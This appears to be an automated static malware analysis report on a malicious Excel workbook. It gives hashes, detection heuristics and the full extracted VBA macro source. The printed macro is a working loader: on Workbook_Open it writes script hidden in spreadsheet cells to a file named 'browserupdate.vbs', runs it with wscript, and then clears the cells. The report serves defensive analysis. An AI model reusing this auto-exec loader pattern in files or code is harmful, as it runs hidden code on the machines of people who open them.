Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7bb5a4d74b493666…

MALICIOUS

Office (OOXML)

36.6 KB Created: 2006-08-12 16:04:53 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-02-23
MD5: 98e2c13260284b3583276c8412e5e8e6 SHA-1: dd10f2b916d69da6a004f4d42179d67169151752 SHA-256: 7bb5a4d74b493666671bda32e8e056a4cc53144b2892ae408c6530c3a9c97b58
348 Risk Score

Heuristics 7

  • ClamAV: Xls.Downloader.Fajan-9852391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Fajan-9852391-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    PID = Shell(tax2, vbNormalFocus)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set taxi = CreateObject(tax0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set taxi = CreateObject(tax0)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2678 bytes
SHA-256: 4c7251a360b9e9b34436e81b88a2c0794c90b73a82f5ed8e08b8c5597c9617dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub ViewChart()
Attribute ViewChart.VB_ProcData.VB_Invoke_Func = " \n14"
   
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

Dim val As String
Dim val1 As String, val2 As String, val3 As String, val4 As String, val5 As String, val6 As String, val7 As String, val8 As String, val9 As String

Dim tax0 As String
Dim tax1 As String




val = Range("AH500").Value + Range("AH501").Value + Range("AH502").Value + Range("AH503").Value + Range("AH504").Value


tax0 = Range("AH505").Value

tax1 = "b" + "r" + "o" + "w" + "serupdate" + "." + "v" + "bs"

tax2 = "w" + "s" + "cr" + "ipt " + tax1

Dim taxi As Object
    Set taxi = CreateObject(tax0)
    Dim taxa As Object
    Set taxa = taxi.CreateTextFile(tax1, True, True)
  
  taxa.Write val
   
    taxa.Close
    
    Dim PID As Variant
PID = Shell(tax2, vbNormalFocus)

Range("AH500").Value = ""
Range("AH501").Value = " "
Range("AH502").Value = "   ? "
Range("AH504").Value = ""
Range("AH505").Value = " "
'Range("EB1027").Value = "   ? "
'Range("EB1028").Value = "   ? "
Range("A1").Value = "    -   "

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Chart2"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{580B5B53-9EFA-40A0-982B-6558678647F9}{1231D9C6-7D2E-41AB-9650-A21075E7BC74}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 20992 bytes
SHA-256: dd0784d2b8a9920952584f125e23b884e6d5ff0a667d1305ea07f7d3ae8496d3
Detection
ClamAV: Xls.Downloader.Fajan-9852391-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.